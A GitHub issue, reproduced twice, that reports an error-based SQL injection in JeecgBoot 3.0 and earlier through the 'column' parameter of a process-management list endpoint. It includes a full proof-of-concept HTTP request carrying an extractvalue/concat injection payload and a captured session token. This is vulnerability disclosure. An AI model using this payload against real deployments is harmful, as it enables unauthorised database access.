In JeecgBoot 3.0, there is a SQL injection vulnerability that can operate the database with root privileges.
##### version: <=3.0


##### precondition: After logged in the website,click 流程管理 proxy burp,the parameter  "column" can be made SQL injection.


##### Screenshot & code : 
<img width="1240" alt="图片" src="https://user-images.githubusercontent.com/25843151/147641725-71a3c7a3-c4d4-41f8-af76-b875641e2cbf.png">


poc:
```GET /act/process/extActExpression/list?_t=1637890565&column=extractvalue(1,concat(char(126),user()))&order=desc&field=id,,,name,expression,action&pageNo=1&pageSize=10 HTTP/1.1
Host: api.boot.jeecg.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Sign: 7AE7A7990565A3187D8CE30725C82718
X-Timestamp: 20211229152402
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDA3NjI2NTMsInVzZXJuYW1lIjoiamVlY2cifQ.SX0HjEOmrGFDZt-oNUUOlTNYn9ftCOmhQIOgED9HZRM
Tenant-Id: 2
Origin: http://boot.jeecg.com
Referer: http://boot.jeecg.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
```


  

There is  an SQL injection vulnerability that can operate the database with root privileges.
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : There is  an SQL injection vulnerability that can operate the database with root privileges.
Issue date:

--- start body ---
##### version: <=3.0


##### precondition: After logged in the website,click 流程管理 proxy burp,the parameter  "column" can be made SQL injection.


##### Screenshot & code : 
<img width="1240" alt="图片" src="https://user-images.githubusercontent.com/25843151/147641725-71a3c7a3-c4d4-41f8-af76-b875641e2cbf.png">


poc:
```GET /act/process/extActExpression/list?_t=1637890565&column=extractvalue(1,concat(char(126),user()))&order=desc&field=id,,,name,expression,action&pageNo=1&pageSize=10 HTTP/1.1
Host: api.boot.jeecg.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Sign: 7AE7A7990565A3187D8CE30725C82718
X-Timestamp: 20211229152402
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDA3NjI2NTMsInVzZXJuYW1lIjoiamVlY2cifQ.SX0HjEOmrGFDZt-oNUUOlTNYn9ftCOmhQIOgED9HZRM
Tenant-Id: 2
Origin: http://boot.jeecg.com
Referer: http://boot.jeecg.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
```


  

--- end body ---
